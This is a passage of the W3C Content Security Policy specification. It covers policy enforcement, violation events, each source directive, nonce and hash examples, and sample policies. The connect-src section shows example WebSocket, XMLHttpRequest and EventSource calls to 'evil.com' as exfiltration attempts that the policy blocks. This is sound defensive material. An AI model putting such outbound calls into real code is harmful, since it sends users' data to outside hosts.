To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See §7 Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URLs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource’s privileges that have been restricted in this way.

Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

If the user agent monitors or enforces a policy that contains a directive that contains a source list, then the user agent MUST set a CSP Request Header when requesting cross-origin resources, as described in §3.4 The CSP HTTP Request Header.

5.1. Workers

Whenever a user agent runs a worker:

  • If the worker’s script’s origin is a globally unique identifier (for example, the worker’s script’s URL has a scheme of data, blob, or filesystem), then:
    • If the user agent is enforcing a CSP policy for the owner document or parent worker, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document or parent worker, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker’s script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker’s script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

5.2. srcdoc IFrames

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the iframe srcdoc document as well.

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the iframe srcdoc document as well.

6. Script Interfaces

6.1. SecurityPolicyViolationEvent Interface

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
documentURI, of type DOMString, readonly
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString, readonly
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString, readonly
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString, readonly
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString, readonly
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString, readonly
Refer to the original-policy property of violation reports for a description of this property.
statusCode, of type DOMString, readonly
Refer to the status-code property of violation reports for a description of this property.
sourceFile, of type DOMString, readonly
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long, readonly
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long, readonly
Refer to the column-number property of violation reports for a description of this property.

6.2. SecurityPolicyViolationEventInit Interface

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
documentURI, of type DOMString
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString
Refer to the original-policy property of violation reports for a description of this property.
sourceFile, of type DOMString
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long
Refer to the column-number property of violation reports for a description of this property.

6.3. Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object’s blocked-uri key.
    • documentURI MUST be initialized to the value of report object’s document-uri key.
    • effectiveDirective MUST be initialized to the value of report object’s effective-directive key.
    • originalPolicy MUST be initialized to the value of report object’s original-policy key.
    • referrer MUST be initialized to the value of report object’s referrer key.
    • violatedDirective MUST be initialized to the value of report object’s violated-directive key.
    • sourceFile MUST be initialized to the value of report object’s source-file key.
    • lineNumber MUST be initialized to the value of report object’s line-number key.
    • columnNumber MUST be initialized to the value of report object’s column-number key.

The task source for these tasks is the Content Security Policy task source.

7. Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include:

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

Redirects are another area of potential concern. Authors SHOULD NOT include 'unsafe-redirect' as valid sources in their policies. It makes it more difficult to reason about the complete set of resources that a policy allows, especially given the path behavior outlined in the §4.2.2.3 Paths and Redirects section.

7.1. base-uri

The base-uri directive restricts the URLs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URLs refers to the result of parsing the base-uri directive’s value as a source list.

Note: base-uri does not fall back to the default sources.

Step 4 of the algorithm defined in HTML5 to obtain a document’s base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URLs for the protected resource, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

7.2. child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive’s value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

7.2.1. Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

7.2.2. Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [WORKERS], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URL does not match the allowed child sources for the protected resource.

7.3. connect-src

The connect-src directive restricts which URLs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive’s value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed connection targets for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.3.1. Usage

This section is not normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

7.4. default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive’s value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

7.4.1. Usage

This section is not normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they’re not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There’s no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you’d like to protect. If you don’t use webfonts, for instance, there’s no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

7.5. font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive’s value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed font sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for display in a font, such as when processing the <@font-face> Cascading Style Sheets (CSS) rule.

7.6. form-action

The form-action restricts which URLs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive’s value as a source list.

Whenever the user agent fetches a URL in the course of processing an HTML form element, if the URL does not match the allowed form actions for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation.

Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

7.7. frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet element, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

ancestor-source-list = [ ancestor-source *( 1*WSP ancestor-source ) ] / "'none'"
ancestor-source      = scheme-source / host-source

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive’s value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext’s active document.
    2. If document’s URL does not match the allowed frame ancestors for the protected resource, the user agent MUST:
      1. Abort loading the protected resource.
      2. Take one of the following actions:
        1. Act as if it received an empty HTTP 200 response.
        2. Redirect the user to a friendly error page which provides the option of opening the blocked page in a new top-level browsing context.
      3. Parse a sandboxing directive using the empty string as the input and the newly created document’s forced sandboxing flag set as the output.
      4. Report a violation.
      5. Abort these steps.

Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a normal cross-origin document’s load. If these steps are ignored, leakage of a document’s policy state is possible.

The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

7.7.1. Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location. This directive checks each ancestor. If any ancestor doesn’t match, the load is cancelled. [RFC7034]

The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

7.7.2. Multiple Host Source Values

This section is not normative.

Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-ancestors https://alice https://bob

would allow Bob to re-frame Alice’s resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

7.8. frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive’s value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed frame sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.9. img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive’s value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed image sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), <image()> or <image-set()> values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS4-IMAGES], or the href attribute of a link element with an image-related rel attribute, such as icon.

7.10. media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive’s value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed media sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track element.

7.11. object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive’s value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed object sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

It is not required that the consumer of the element’s data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other §7 Directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URL (e.g., because the object element lacked a data attribute), if the protected resource’s URL does not match the allowed object sources for the protected resource, the user agent MUST NOT load the plugin.

7.12. plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive’s value as a media type list.

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document in a nested browsing context in the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document in a nested browsing context in the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

7.12.1. Usage

This section is not normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash

Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

7.12.2. Predeclaration of expected media types

This section is not normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn’t actually a PDF file, it won’t load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

7.13. report-uri

The report-uri directive specifies a URL to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URLs is the value of the report-uri directive, each resolved relative to the protected resource’s URL.

The process of sending violation reports to the URLs specified in this directive’s value is defined in this document’s §4.4 Reporting section.

Note: The report-uri directive will be ignored if contained within a meta element.

7.14. sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = "" / sandbox-token *( 1*WSP sandbox-token )
sandbox-token     = <token from RFC 7230>

When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource’s forced sandboxing flag set as the output. [HTML5]

The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element. Moreover, this directive has no effect when monitored, and has no reporting requirements.

7.14.1. Sandboxing and Workers

When delivered via an HTTP header, a Content Security Policy may indicate that sandboxing flags ought to be applied to a JavaScript execution environment that is not a Document. Of particular interest is the script content intended for use as a Worker, Shared Worker, or Service Worker. Many of the sandboxing flags do not apply to such environments, but allow-scripts and allow-same-origin have special requirements.

When a resource is loaded while executing the runs a Worker algorithm, the user agent MUST act as if there was a fatal network error and no resource could be obtained if either of the following conditions holds:

  1. The sandbox directive delivered with the resource does not contain the allow-scripts flag.
  2. The sandbox directive delivered with the resource does not contain the allow-same-origin flag, and the creation of the new execution context requires it to be same-origin with its creating context.

7.14.2. Usage

This section is not normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content’s abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute’s value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive’s value. For example, you can allow a page that you trust to run script, while ensuring that it isn’t treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

7.15. script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive’s value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URL, instead the user agent MUST NOT execute the script, and MUST report a violation.

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw an EvalError exception.
  • When called as a constructor, the function Function [ECMA-262] MUST throw an EvalError exception.
  • When called with a first argument that is not callable (a string, for example), the setTimeout() function MUST return zero without creating a timer.
  • When called with a first argument that is not callable (a string, for example), the setInterval() function MUST return zero without creating a timer.

Whenever the user agent fetches a URL (including when following redirects) in the course of one of the following activities, if the URL does not match the allowed script sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [HTML-IMPORTS]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> and <xsl:import> elements.

7.15.1. Nonce usage for script elements

This section is not normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have a valid nonce:

<script>
alert("Blocked because the policy doesn’t have 'unsafe-inline'.")
</script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>

<script src="https://example.com/allowed-because-of-src.js"></script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
    src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
    src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

Note that the nonce’s value is not a hash or signature that verifies the contents of the script resources. It’s quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they’re inline or external. Script elements without the proper nonce don’t execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker’s inability to guess the random value.

7.15.2. Hash usage for script elements

This section is not normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block’s contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block’s contents are hashed, and compared against the whitelisted value. If there’s a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=.

You can obtain the digest of a string on the command line simply via the openssl program. For example:
echo -n "alert('Hello, world.');" | openssl dgst -sha256 -binary | openssl enc -base64

If the server sent the following header:

Content-Security-Policy: script-src 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

7.16. style-src

The style-src directive restricts which styles the user may applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive’s value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>).

If 'unsafe-eval' is not in allowed style sources, then:

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed style sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting an external stylesheet when processing the href of a link element whose rel attribute contains the token stylesheet.
  • Requesting an external stylesheet when processing the <@import> directive.
  • Requesting an external stylesheet when processing a Link HTTP response header field [RFC5988].

    Note: As this stylesheet might be prefetched before a Document actually exists, user agents will need to carefully consider how to instantiate a meaningful policy against which to compare this request. See §10.1 Processing Complications for more detail.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

7.16.1. Nonce usage for style elements

This section is not normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

7.16.2. Hash usage for style elements

This section is not normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

8. Examples

8.1. Sample Policy Definitions

This section provides some sample use cases and supporting policies.

A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URL, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
Content-Security-Policy:
    default-src 'self'; img-src *;
    object-src media1.example.com media2.example.com *.cdn.example.com;
    script-src trustedscripts.example.com
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>

8.2. Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

9. Security Considerations

9.1. Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

9.2. Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URL.

10. Implementation Considerations

